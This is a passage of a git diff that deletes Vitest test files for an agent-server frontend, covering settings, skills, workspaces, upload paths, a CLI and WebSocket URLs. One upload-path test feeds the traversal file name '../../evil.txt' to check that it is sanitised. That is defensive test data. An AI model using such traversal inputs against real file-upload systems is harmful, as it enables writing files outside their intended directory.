mcp_config?: unknown } }) => { - if (args?.agent_settings_diff?.mcp_config === null) { - return Promise.resolve(undefined); - } - return Promise.reject(new Error("validation failed")); - }, - ); - - await expect( - SettingsService.saveSettings({ - agent_settings_diff: { - mcp_config: { new: { url: "https://new.example" } }, - }, - }), - ).rejects.toThrow("validation failed"); - - // 1 pre-clear + 3 failed write attempts = 4 calls. No rollback - // attempt because the snapshot was empty. Critically, we never - // send `mcp_config: undefined` as a "rollback" since that would - // be backend-rejected or, worse, silently no-op. - expect(mockSaveCloudSettings).toHaveBeenCalledTimes(4); - const sentMcpValues = mockSaveCloudSettings.mock.calls.map( - (call) => - (call[0] as { agent_settings_diff?: { mcp_config?: unknown } }) - ?.agent_settings_diff?.mcp_config, - ); - // Every call's mcp_config is either the pre-clear null or the - // exact new value the caller asked us to write — no implicit - // rollback target leaked through. - for (const mcp of sentMcpValues) { - const isPreClear = mcp === null; - const isNewWrite = - !!mcp && - typeof mcp === "object" && - !!(mcp as Record).new; - expect(isPreClear || isNewWrite).toBe(true); - } - }); - - it("surfaces cloud app preferences on getSettings", async () => { - // The cloud returns app-preference fields flat at the top level - // (language, git identity, …) — they should land on the returned - // Settings unchanged. - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - mockFetchCloudSettings.mockResolvedValue({ - language: "ja", - } as Partial); - - const settings = await SettingsService.getSettings(); - - expect(settings.language).toBe("ja"); - }); -}); diff --git a/__tests__/api/skills-service.test.ts b/__tests__/api/skills-service.test.ts deleted file mode 100644 index 644b0ea64..000000000 --- a/__tests__/api/skills-service.test.ts +++ /dev/null @@ -1,109 +0,0 @@ -import { SkillsClient } from "@openhands/typescript-client/clients"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; - -const { mockGetSkills, MOCK_PUBLIC_CATALOG } = vi.hoisted(() => ({ - mockGetSkills: vi.fn(), - MOCK_PUBLIC_CATALOG: [ - { - name: "mock-public-skill", - description: "A mock public skill", - triggers: ["mock"], - content: "mock content", - }, - { - name: "another-public-skill", - description: "Another one", - triggers: [], - content: "more content", - license: "MIT", - }, - ], -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - SkillsClient: vi.fn(function SkillsClientMock() { - return { getSkills: mockGetSkills }; - }), -})); - -vi.mock("@openhands/extensions/skills", () => ({ - SKILLS_CATALOG: MOCK_PUBLIC_CATALOG, -})); - -import SkillsService from "#/api/skills-service"; - -const localBackend: Backend = { - id: "local", - name: "Local", - host: "http://127.0.0.1:8000", - apiKey: "", - kind: "local", -}; - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - mockGetSkills.mockReset(); - vi.mocked(SkillsClient).mockClear(); -}); - -afterEach(() => { - vi.unstubAllEnvs(); - __resetActiveStoreForTests(); -}); - -describe("SkillsService.getSkills against the agent-server backend", () => { - it("requests only user/project skills from agent-server (load_public: false) and appends the bundled public catalog", async () => { - const userSkill = { - name: "my-custom-skill", - type: "knowledge", - content: "custom content", - triggers: [], - source: "user", - is_agentskills_format: false, - }; - mockGetSkills.mockResolvedValue({ - skills: [userSkill], - sources: { sandbox: 0, sdk_base: 0, org: 0, project: 0 }, - }); - - const skills = await SkillsService.getSkills(); - - // Agent-server is asked only for user/project skills, not public. - expect(mockGetSkills).toHaveBeenCalledTimes(1); - expect(mockGetSkills.mock.calls[0]?.[0]).toMatchObject({ - load_public: false, - load_user: true, - load_project: true, - load_org: false, - }); - - // Result = local skills first, then all bundled public skills. - expect(skills[0]?.name).toBe("my-custom-skill"); - expect(skills).toHaveLength(1 + MOCK_PUBLIC_CATALOG.length); - - // Every public skill from the bundled catalog is present. - const publicNames = skills.slice(1).map((s) => s.name); - for (const entry of MOCK_PUBLIC_CATALOG) { - expect(publicNames).toContain(entry.name); - } - expect(skills.slice(1).every((s) => s.source === "public")).toBe(true); - }); - - it("returns only bundled public skills when agent-server is unreachable", async () => { - mockGetSkills.mockRejectedValue(new Error("ECONNREFUSED")); - - const skills = await SkillsService.getSkills(); - - expect(skills).toHaveLength(MOCK_PUBLIC_CATALOG.length); - expect(skills.every((s) => s.source === "public")).toBe(true); - }); -}); diff --git a/__tests__/api/suggestions-service.test.ts b/__tests__/api/suggestions-service.test.ts deleted file mode 100644 index 6cd904c50..000000000 --- a/__tests__/api/suggestions-service.test.ts +++ /dev/null @@ -1,83 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import * as cloudSuggestions from "#/api/cloud/suggestions-service.api"; -import { SuggestionsService } from "#/api/suggestions-service/suggestions-service.api"; -import type { Backend } from "#/api/backend-registry/types"; -import type { SuggestedTask } from "#/utils/types"; - -vi.mock("#/api/cloud/suggestions-service.api", () => ({ - getCloudSuggestedTasks: vi.fn(), -})); - -const mockGetCloudSuggestedTasks = vi.mocked( - cloudSuggestions.getCloudSuggestedTasks, -); - -const localBackend: Backend = { - id: "local", - name: "Local", - host: "http://localhost", - apiKey: "local-key", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer", - kind: "cloud", -}; - -beforeEach(() => { - __resetActiveStoreForTests(); - mockGetCloudSuggestedTasks.mockReset(); -}); - -afterEach(() => { - __resetActiveStoreForTests(); -}); - -describe("SuggestionsService.getSuggestedTasks", () => { - it("returns the cloud endpoint items when the active backend is cloud", async () => { - // Arrange - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - const items: SuggestedTask[] = [ - { - issue_number: 1, - title: "Fix CI", - repo: "octo/foo", - task_type: "FAILING_CHECKS", - git_provider: "github", - }, - ]; - mockGetCloudSuggestedTasks.mockResolvedValueOnce({ - items, - next_page_id: null, - }); - - // Act - const result = await SuggestionsService.getSuggestedTasks(); - - // Assert - expect(result).toEqual(items); - }); - - it("returns an empty list without calling the cloud endpoint when the active backend is local", async () => { - // Arrange - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - - // Act - const result = await SuggestionsService.getSuggestedTasks(); - - // Assert - expect(result).toEqual([]); - expect(mockGetCloudSuggestedTasks).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/api/to-app-conversation-session-key.test.ts b/__tests__/api/to-app-conversation-session-key.test.ts deleted file mode 100644 index f71da5612..000000000 --- a/__tests__/api/to-app-conversation-session-key.test.ts +++ /dev/null @@ -1,39 +0,0 @@ -import { afterEach, describe, expect, it, vi } from "vitest"; - -import { toAppConversation } from "#/api/agent-server-adapter"; -import { - __resetActiveStoreForTests, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend"; - -const directInfo = (id: string) => ({ - id, - created_at: "2026-05-05T00:00:00Z", - updated_at: "2026-05-05T00:00:00Z", -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.unstubAllEnvs(); -}); - -describe("toAppConversation session_api_key hydration", () => { - it("uses the active backend registry apiKey instead of VITE_SESSION_API_KEY", () => { - vi.stubEnv("VITE_SESSION_API_KEY", "fresh-session-key"); - - setRegisteredBackends([ - { - id: SEEDED_DEFAULT_BACKEND_ID, - name: "Local", - host: window.location.origin, - apiKey: "stale-session-key", - kind: "local", - }, - ]); - - const conversation = toAppConversation(directInfo("conv-1")); - expect(conversation.session_api_key).toBe("stale-session-key"); - }); -}); diff --git a/__tests__/api/use-create-conversation-metadata.test.ts b/__tests__/api/use-create-conversation-metadata.test.ts deleted file mode 100644 index 535af93fc..000000000 --- a/__tests__/api/use-create-conversation-metadata.test.ts +++ /dev/null @@ -1,291 +0,0 @@ -import { - ConversationClient, - SettingsClient, -} from "@openhands/typescript-client/clients"; -import { describe, expect, it, vi, beforeEach, afterEach } from "vitest"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import React from "react"; -import { useCreateConversation } from "#/hooks/mutation/use-create-conversation"; -import { getStoredConversationMetadata } from "#/api/conversation-metadata-store"; - -const { - mockHttpPost, - mockConversationClient, - mockSettingsClient, - mockGetSettings, - mockGetSettingsForConversation, - mockUseLlmProfiles, - mockListInstalledPlugins, -} = vi.hoisted(() => ({ - mockHttpPost: vi.fn(), - mockConversationClient: vi.fn(), - mockSettingsClient: vi.fn(), - mockGetSettings: vi.fn(), - mockGetSettingsForConversation: vi.fn(), - mockUseLlmProfiles: vi.fn(), - mockListInstalledPlugins: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", async () => { - const actual = await vi.importActual< - typeof import("@openhands/typescript-client/clients") - >("@openhands/typescript-client/clients"); - return { - ...actual, - ConversationClient: vi.fn(function ConversationClientMock() { - return mockConversationClient(); - }), - SettingsClient: vi.fn(function SettingsClientMock() { - return mockSettingsClient(); - }), - VSCodeClient: vi.fn(function VSCodeClientMock() { - return { getUrl: vi.fn() }; - }), - }; -}); - -vi.mock("#/api/agent-server-config", () => ({ - DEFAULT_WORKING_DIR: "workspace/project", - getAgentServerBaseUrl: vi.fn(() => "http://localhost:54928"), - getBakedSessionApiKey: vi.fn(() => "test-session-key"), - getAgentServerSessionApiKey: vi.fn(() => "test-session-key"), - getAgentServerWorkingDir: vi.fn(() => "/workspace/project/agent-canvas"), - buildConversationWorkingDir: vi.fn( - (id: string) => `/state/workspaces/${id.replace(/-/g, "")}`, - ), - shouldLoadPublicSkills: vi.fn(() => true), - syncBakedSessionApiKey: vi.fn(), - getLockedCloudHost: vi.fn(() => null), -})); - -vi.mock("#/api/settings-service/settings-service.api", () => ({ - default: { - getSettings: mockGetSettings, - getSettingsForConversation: mockGetSettingsForConversation, - }, -})); - -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ trackConversationCreated: vi.fn() }), -})); - -vi.mock("#/hooks/query/use-llm-profiles", () => ({ - useLlmProfiles: () => mockUseLlmProfiles(), -})); - -vi.mock("#/api/plugins-management-service", () => ({ - default: { - listInstalledPlugins: mockListInstalledPlugins, - }, -})); - -const wrapper = ({ children }: { children: React.ReactNode }) => { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - return React.createElement(QueryClientProvider, { client }, children); -}; - -describe("useCreateConversation persists selected repository metadata", () => { - beforeEach(() => { - window.localStorage.clear(); - mockUseLlmProfiles.mockReset(); - // Default: no active profile, so metadata is written only for repo/ - // workspace attachments (as before). Individual tests override this. - mockUseLlmProfiles.mockReturnValue({ data: { active_profile: null } }); - mockListInstalledPlugins.mockReset(); - // Default: no installed plugins, so the existing repo/workspace/profile - // assertions are unaffected. Plugin-specific tests override this. - mockListInstalledPlugins.mockResolvedValue([]); - mockHttpPost.mockReset(); - mockGetSettings.mockReset(); - mockGetSettingsForConversation.mockReset(); - mockGetSettings.mockResolvedValue({ - agent_settings: { llm: { model: "gpt-4o" } }, - conversation_settings: {}, - }); - mockGetSettingsForConversation.mockResolvedValue({ - agentSettings: { llm: { model: "gpt-4o" } }, - conversationSettings: {}, - secretsEncrypted: true, - }); - mockConversationClient.mockReset(); - vi.mocked(ConversationClient).mockClear(); - vi.mocked(SettingsClient).mockClear(); - mockConversationClient.mockReturnValue({ - createConversation: async (payload: unknown) => { - const response = await mockHttpPost("/api/conversations", payload); - return response.data; - }, - }); - mockSettingsClient.mockReturnValue({ - listSecrets: vi.fn().mockResolvedValue({ secrets: [] }), - }); - mockHttpPost.mockResolvedValue({ - data: { - id: "conv-new", - created_at: "2026-05-05T00:00:00Z", - updated_at: "2026-05-05T00:00:00Z", - }, - }); - }); - - afterEach(() => { - window.localStorage.clear(); - }); - - it("stores the selected repo/branch/provider in the metadata store after a successful create", async () => { - const { result } = renderHook(() => useCreateConversation(), { wrapper }); - - result.current.mutate({ - query: "ship it", - repository: { - name: "octocat/hello-world", - gitProvider: "github", - branch: "main", - }, - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(getStoredConversationMetadata("conv-new")).toEqual({ - selected_repository: "octocat/hello-world", - selected_branch: "main", - git_provider: "github", - selected_workspace: null, - workspace_mode: "new_worktree", - }); - }); - - it("stores the selected workspace path when only a workspace (no repo) is attached", async () => { - const { result } = renderHook(() => useCreateConversation(), { wrapper }); - - result.current.mutate({ - query: "poke at this repo", - workingDir: "/home/me/code/some-project", - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - // We persist the workspace path so `useHasAttachedSource` can default - // the Files tab to diff view even when no repo was picked. - expect(getStoredConversationMetadata("conv-new")).toEqual({ - selected_repository: null, - selected_branch: null, - git_provider: null, - selected_workspace: "/home/me/code/some-project", - workspace_mode: "local_repo", - }); - }); - - it("does not write metadata when neither a repository nor a workspace is attached", async () => { - const { result } = renderHook(() => useCreateConversation(), { wrapper }); - - result.current.mutate({ query: "scratch session" }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(getStoredConversationMetadata("conv-new")).toBeNull(); - }); - - it("stamps the active LLM profile even when no repo or workspace is attached (#1082)", async () => { - mockUseLlmProfiles.mockReturnValue({ - data: { active_profile: "team-default" }, - }); - - const { result } = renderHook(() => useCreateConversation(), { wrapper }); - - result.current.mutate({ query: "scratch session" }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(getStoredConversationMetadata("conv-new")).toEqual({ - selected_repository: null, - selected_branch: null, - git_provider: null, - selected_workspace: null, - workspace_mode: null, - active_profile: "team-default", - plugins: null, - }); - }); - - it("records the enabled installed plugins (excluding disabled ones) so the in-conversation plugins view can show them", async () => { - // Arrange: one enabled and one disabled plugin are installed locally. - mockListInstalledPlugins.mockResolvedValue([ - { - name: "city-weather", - version: "1.0.0", - description: null, - enabled: true, - source: "github:acme/city-weather", - resolved_ref: "abc123", - repo_path: null, - installed_at: "2026-05-05T00:00:00Z", - install_path: "/plugins/city-weather", - }, - { - name: "stocks", - version: "1.0.0", - description: null, - enabled: false, - source: "github:acme/stocks", - resolved_ref: null, - repo_path: null, - installed_at: "2026-05-05T00:00:00Z", - install_path: "/plugins/stocks", - }, - ]); - - const { result } = renderHook(() => useCreateConversation(), { wrapper }); - - result.current.mutate({ query: "what's the weather?" }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - // Only the enabled plugin is snapshotted, mapped to coordinates - // (resolved_ref -> ref) and keeping its name for display. - expect(getStoredConversationMetadata("conv-new")?.plugins).toEqual([ - { - source: "github:acme/city-weather", - ref: "abc123", - repo_path: null, - name: "city-weather", - }, - ]); - }); - - it("does not duplicate a plugin that is both explicitly attached and enabled-installed", async () => { - // Arrange: the same plugin is passed explicitly and is enabled-installed. - mockListInstalledPlugins.mockResolvedValue([ - { - name: "city-weather", - version: "1.0.0", - description: null, - enabled: true, - source: "github:acme/city-weather", - resolved_ref: "main", - repo_path: null, - installed_at: "2026-05-05T00:00:00Z", - install_path: "/plugins/city-weather", - }, - ]); - - const { result } = renderHook(() => useCreateConversation(), { wrapper }); - - result.current.mutate({ - query: "what's the weather?", - plugins: [ - { source: "github:acme/city-weather", ref: "main", repo_path: null }, - ], - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - // The plugin is recorded exactly once. - expect(getStoredConversationMetadata("conv-new")?.plugins).toEqual([ - { source: "github:acme/city-weather", ref: "main", repo_path: null }, - ]); - }); -}); diff --git a/__tests__/api/workspace-upload-path.test.ts b/__tests__/api/workspace-upload-path.test.ts deleted file mode 100644 index b1797d82e..000000000 --- a/__tests__/api/workspace-upload-path.test.ts +++ /dev/null @@ -1,137 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { - buildWorkspaceUploadPath, - getSafeUploadFileName, - resolveAbsoluteWorkspacePath, - resolveConversationUploadWorkingDir, -} from "#/api/workspace-upload-path"; -import { clearAgentServerHomeDirCache } from "#/api/agent-server-home"; - -const mockGetHome = vi.fn(); - -vi.mock("@openhands/typescript-client/clients", () => ({ - FileClient: vi.fn(function FileClientMock() { - return { getHome: mockGetHome }; - }), -})); - -vi.mock("#/api/agent-server-client-options", () => ({ - getAgentServerClientOptions: vi.fn(() => ({ - host: "http://localhost:8000", - apiKey: "test-key", - workingDir: "workspace/project", - })), -})); - -vi.mock( - "#/api/conversation-service/agent-server-conversation-service.api", - () => ({ - default: { - resolveConversationWorkingDir: vi.fn( - async (id: string) => `/workspace/project/${id.replace(/-/g, "")}`, - ), - }, - }), -); - -beforeEach(() => { - clearAgentServerHomeDirCache(); - mockGetHome.mockReset(); - mockGetHome.mockResolvedValue({ home: "/Users/test" }); -}); - -describe("workspace-upload-path", () => { - // @spec WUP-001 — resolver anchors relative paths against /api/file/home. - it("resolveAbsoluteWorkspacePath joins relative dirs to the agent-server home", async () => { - const resolved = await resolveAbsoluteWorkspacePath("workspace/project"); - expect(resolved).toBe("/Users/test/workspace/project"); - expect(mockGetHome).toHaveBeenCalledTimes(1); - }); - - // @spec WUP-001 — absolute inputs pass through, no /file/home round-trip. - it("resolveAbsoluteWorkspacePath leaves absolute paths alone", async () => { - const resolved = await resolveAbsoluteWorkspacePath( - "/workspace/project/custom", - ); - expect(resolved).toBe("/workspace/project/custom"); - expect(mockGetHome).not.toHaveBeenCalled(); - }); - - // @spec WUP-001 — Windows-style absolute paths are also pass-through. - it("resolveAbsoluteWorkspacePath treats Windows drive-letter paths as absolute", async () => { - const resolved = await resolveAbsoluteWorkspacePath("C:\\foo\\bar"); - expect(resolved).toBe("C:\\foo\\bar"); - expect(mockGetHome).not.toHaveBeenCalled(); - }); - - // @spec WUP-001 — the home dir is cached so concurrent uploads share one round-trip. - it("caches the home directory across calls", async () => { - await resolveAbsoluteWorkspacePath("workspace/project"); - await resolveAbsoluteWorkspacePath("other/relative"); - expect(mockGetHome).toHaveBeenCalledTimes(1); - }); - - // @spec WUP-001 — failures are not cached so a later call retries fresh. - it("does not cache failed lookups", async () => { - mockGetHome.mockRejectedValueOnce(new Error("boom")); - await expect( - resolveAbsoluteWorkspacePath("workspace/project"), - ).rejects.toThrow("boom"); - - mockGetHome.mockResolvedValueOnce({ home: "/Users/test" }); - const resolved = await resolveAbsoluteWorkspacePath("workspace/project"); - expect(resolved).toBe("/Users/test/workspace/project"); - expect(mockGetHome).toHaveBeenCalledTimes(2); - }); - - // @spec WUP-001 — empty or whitespace working dirs collapse to the home dir. - it("resolves an empty working dir to the home directory itself", async () => { - expect(await resolveAbsoluteWorkspacePath("")).toBe("/Users/test"); - expect(await resolveAbsoluteWorkspacePath("/")).toBe("/Users/test"); - }); - - // @spec WUP-001 — the safe-name helper still strips traversal segments. - it("strips path segments from file names", () => { - expect(getSafeUploadFileName("../../evil.txt")).toBe("evil.txt"); - }); - - // @spec WUP-001 — buildWorkspaceUploadPath uses the resolver and a safe leaf. - it("builds an absolute upload path from a relative working dir", async () => { - const upload = await buildWorkspaceUploadPath("a.txt", "workspace/project"); - expect(upload).toBe("/Users/test/workspace/project/a.txt"); - }); - - it("rejects file names that escape the destination via path traversal", async () => { - const upload = await buildWorkspaceUploadPath( - "../../evil.txt", - "/workspace/project", - ); - expect(upload).toBe("/workspace/project/evil.txt"); - }); - - it("collapses trailing slashes on the working dir", async () => { - const upload = await buildWorkspaceUploadPath( - "doc.md", - "/workspace/project/", - ); - expect(upload).toBe("/workspace/project/doc.md"); - }); - - it("prefers the active conversation workspace when ids match", async () => { - const dir = await resolveConversationUploadWorkingDir("conv-uuid", { - id: "conv-uuid", - workspace: { working_dir: "/workspace/project/custom" }, - } as never); - - expect(dir).toBe("/workspace/project/custom"); - }); - - it("resolves per-conversation dirs for UUID ids", async () => { - const dir = await resolveConversationUploadWorkingDir( - "550e8400-e29b-41d4-a716-446655440000", - null, - ); - - expect(dir).toBe("/workspace/project/550e8400e29b41d4a716446655440000"); - }); -}); diff --git a/__tests__/api/workspaces-service.test.ts b/__tests__/api/workspaces-service.test.ts deleted file mode 100644 index b445cf257..000000000 --- a/__tests__/api/workspaces-service.test.ts +++ /dev/null @@ -1,143 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import WorkspacesService from "#/api/workspaces-service/workspaces-service.api"; - -const { - mockListWorkspaces, - mockAddWorkspaces, - mockDeleteWorkspace, - mockAddWorkspaceParents, - mockDeleteWorkspaceParent, -} = vi.hoisted(() => ({ - mockListWorkspaces: vi.fn(), - mockAddWorkspaces: vi.fn(), - mockDeleteWorkspace: vi.fn(), - mockAddWorkspaceParents: vi.fn(), - mockDeleteWorkspaceParent: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - WorkspacesClient: vi.fn(function WorkspacesClientMock() { - return { - listWorkspaces: mockListWorkspaces, - addWorkspaces: mockAddWorkspaces, - deleteWorkspace: mockDeleteWorkspace, - addWorkspaceParents: mockAddWorkspaceParents, - deleteWorkspaceParent: mockDeleteWorkspaceParent, - }; - }), -})); - -const localBackend: Backend = { - id: "local", - name: "Local", - host: "http://127.0.0.1:8000", - apiKey: "", - kind: "local", -}; - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - mockListWorkspaces.mockReset(); - mockAddWorkspaces.mockReset(); - mockDeleteWorkspace.mockReset(); - mockAddWorkspaceParents.mockReset(); - mockDeleteWorkspaceParent.mockReset(); -}); - -afterEach(() => { - __resetActiveStoreForTests(); -}); - -describe("WorkspacesService", () => { - it("listWorkspaces delegates to WorkspacesClient", async () => { - // Arrange - const body = { - workspaces: [{ id: "/a", name: "a", path: "/a" }], - workspaceParents: [{ id: "/p", name: "p", path: "/p" }], - }; - mockListWorkspaces.mockResolvedValue(body); - - // Act - const result = await WorkspacesService.listWorkspaces(); - - // Assert - expect(mockListWorkspaces).toHaveBeenCalledWith(); - expect(result).toEqual(body); - }); - - it("propagates the typed old-server error from WorkspacesClient", async () => { - // Arrange - const error = { - code: "AGENT_SERVER_VERSION_TOO_OLD", - feature: "workspaces", - requiredVersion: "1.23.0", - actualVersion: "1.22.1", - }; - mockListWorkspaces.mockRejectedValue(error); - - // Act + Assert - await expect(WorkspacesService.listWorkspaces()).rejects.toBe(error); - }); - - it("addWorkspaces delegates to WorkspacesClient", async () => { - // Arrange - mockAddWorkspaces.mockResolvedValue({ - workspaces: [], - workspaceParents: [], - }); - const items = [{ id: "/a", name: "a", path: "/a", parentPath: "/p" }]; - - // Act - await WorkspacesService.addWorkspaces(items); - - // Assert - expect(mockAddWorkspaces).toHaveBeenCalledWith(items); - }); - - it("addWorkspaceParents delegates to WorkspacesClient", async () => { - // Arrange - mockAddWorkspaceParents.mockResolvedValue({ - workspaces: [], - workspaceParents: [], - }); - const parents = [{ id: "/p", name: "p", path: "/p" }]; - - // Act - await WorkspacesService.addWorkspaceParents(parents); - - // Assert - expect(mockAddWorkspaceParents).toHaveBeenCalledWith(parents); - }); - - it("removeWorkspace delegates to WorkspacesClient", async () => { - // Arrange - mockDeleteWorkspace.mockResolvedValue({ deleted: true }); - - // Act - await WorkspacesService.removeWorkspace("/Users/me/dev/repo 1"); - - // Assert - expect(mockDeleteWorkspace).toHaveBeenCalledWith("/Users/me/dev/repo 1"); - }); - - it("removeWorkspaceParent delegates to WorkspacesClient", async () => { - // Arrange - mockDeleteWorkspaceParent.mockResolvedValue({ deleted: true }); - - // Act - await WorkspacesService.removeWorkspaceParent("/parents/root"); - - // Assert - expect(mockDeleteWorkspaceParent).toHaveBeenCalledWith("/parents/root"); - }); -}); diff --git a/__tests__/bin/agent-canvas.test.ts b/__tests__/bin/agent-canvas.test.ts deleted file mode 100644 index a05d88549..000000000 --- a/__tests__/bin/agent-canvas.test.ts +++ /dev/null @@ -1,126 +0,0 @@ -// @vitest-environment node -import { spawn } from "node:child_process"; -import { once } from "node:events"; -import { - chmodSync, - copyFileSync, - mkdirSync, - mkdtempSync, - rmSync, - symlinkSync, - writeFileSync, -} from "node:fs"; -import { tmpdir } from "node:os"; -import { delimiter, dirname, resolve } from "node:path"; -import { fileURLToPath } from "node:url"; - -import { describe, expect, it } from "vitest"; - -const repoRoot = resolve(dirname(fileURLToPath(import.meta.url)), "../.."); - -describe("agent-canvas CLI", () => { - it("shows usage info in --help output", async () => { - const child = spawn(process.execPath, ["bin/agent-canvas.mjs", "--help"], { - cwd: repoRoot, - stdio: ["ignore", "pipe", "pipe"], - }); - - let stdout = ""; - let stderr = ""; - - child.stdout.on("data", (chunk) => { - stdout += chunk.toString(); - }); - child.stderr.on("data", (chunk) => { - stderr += chunk.toString(); - }); - - const [code] = await once(child, "exit"); - - expect(code).toBe(0); - expect(stderr).toBe(""); - expect(stdout).toContain("@openhands/agent-canvas"); - expect(stdout).toContain("USAGE:"); - expect(stdout).toContain("--frontend-only"); - expect(stdout).toContain("--backend-only"); - expect(stdout).toContain("--help"); - }); - - it("does not require build/ in --backend-only mode", async () => { - const tempRoot = mkdtempSync(resolve(tmpdir(), "agent-canvas-bin-")); - const stubBinDir = mkdtempSync(resolve(tmpdir(), "agent-canvas-stub-bin-")); - const badSdkDir = mkdtempSync(resolve(tmpdir(), "agent-canvas-bad-sdk-")); - const isWindows = process.platform === "win32"; - - try { - mkdirSync(resolve(tempRoot, "bin")); - copyFileSync( - resolve(repoRoot, "bin", "agent-canvas.mjs"), - resolve(tempRoot, "bin", "agent-canvas.mjs"), - ); - symlinkSync( - resolve(repoRoot, "scripts"), - resolve(tempRoot, "scripts"), - isWindows ? "junction" : "dir", - ); - symlinkSync( - resolve(repoRoot, "config"), - resolve(tempRoot, "config"), - isWindows ? "junction" : "dir", - ); - - if (isWindows) { - writeFileSync(resolve(stubBinDir, "uvx.cmd"), "@exit /b 0\r\n"); - } else { - const uvxPath = resolve(stubBinDir, "uvx"); - writeFileSync(uvxPath, "#!/bin/sh\nexit 0\n"); - chmodSync(uvxPath, 0o755); - } - - const child = spawn( - process.execPath, - [resolve(tempRoot, "bin", "agent-canvas.mjs"), "--backend-only"], - { - cwd: tempRoot, - env: { - PATH: `${stubBinDir}${delimiter}${process.env.PATH ?? ""}`, - HOME: process.env.HOME ?? "", - OH_AGENT_SERVER_LOCAL_PATH: badSdkDir, - PORT: "19912", - OH_CANVAS_SAFE_BACKEND_PORT: "19910", - OH_CANVAS_SAFE_AUTOMATION_PORT: "19911", - OH_CANVAS_SAFE_VITE_PORT: "19913", - ...(isWindows - ? { - PATHEXT: process.env.PATHEXT ?? ".CMD;.EXE;.BAT;.COM", - SystemRoot: process.env.SystemRoot ?? "", - USERPROFILE: process.env.USERPROFILE ?? "", - } - : {}), - }, - stdio: ["ignore", "pipe", "pipe"], - }, - ); - - let output = ""; - child.stdout.on("data", (chunk) => { - output += chunk.toString(); - }); - child.stderr.on("data", (chunk) => { - output += chunk.toString(); - }); - - const [code] = await once(child, "exit"); - - expect(code).toBe(1); - expect(output).toContain( - "OH_AGENT_SERVER_LOCAL_PATH is missing expected workspace package", - ); - expect(output).not.toContain("No build found"); - } finally { - rmSync(tempRoot, { recursive: true, force: true }); - rmSync(stubBinDir, { recursive: true, force: true }); - rmSync(badSdkDir, { recursive: true, force: true }); - } - }); -}); diff --git a/__tests__/build-websocket-url.test.ts b/__tests__/build-websocket-url.test.ts deleted file mode 100644 index 41c30fe85..000000000 --- a/__tests__/build-websocket-url.test.ts +++ /dev/null @@ -1,269 +0,0 @@ -import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; -import { buildWebSocketUrl } from "#/utils/websocket-url"; - -describe("buildWebSocketUrl", () => { - afterEach(() => { - vi.unstubAllGlobals(); - }); - - describe("Basic URL construction", () => { - it("should build WebSocket URL with conversation ID and URL", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "localhost:3000", - }); - - const result = buildWebSocketUrl( - "conv-123", - "http://localhost:8080/api/conversations/conv-123", - ); - - expect(result).toBe("ws://localhost:8080/sockets/events/conv-123"); - }); - - it("should use wss:// protocol when window.location.protocol is https:", () => { - vi.stubGlobal("location", { - protocol: "https:", - host: "localhost:3000", - }); - - const result = buildWebSocketUrl( - "conv-123", - "https://example.com:8080/api/conversations/conv-123", - ); - - expect(result).toBe("wss://example.com:8080/sockets/events/conv-123"); - }); - - it("should use ws:// for external HTTP hosts when page is HTTP", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "localhost:3000", - }); - - const result = buildWebSocketUrl( - "conv-456", - "http://agent-server.com:9000/api/conversations/conv-456", - ); - - expect(result).toBe("ws://agent-server.com:9000/sockets/events/conv-456"); - }); - - it("should use wss:// for external HTTPS hosts when page is HTTP", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "localhost:3000", - }); - - const result = buildWebSocketUrl( - "conv-456", - "https://agent-server.com:9000/api/conversations/conv-456", - ); - - expect(result).toBe( - "wss://agent-server.com:9000/sockets/events/conv-456", - ); - }); - - it("should use ws:// for localhost when page is HTTP", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "localhost:3000", - }); - - const result = buildWebSocketUrl( - "conv-456", - "http://127.0.0.1:9000/api/conversations/conv-456", - ); - - expect(result).toBe("ws://127.0.0.1:9000/sockets/events/conv-456"); - }); - }); - - describe("Query parameters handling", () => { - beforeEach(() => { - vi.stubGlobal("location", { - protocol: "http:", - host: "localhost:3000", - }); - }); - - it("should not include query parameters in the URL (handled by useWebSocket 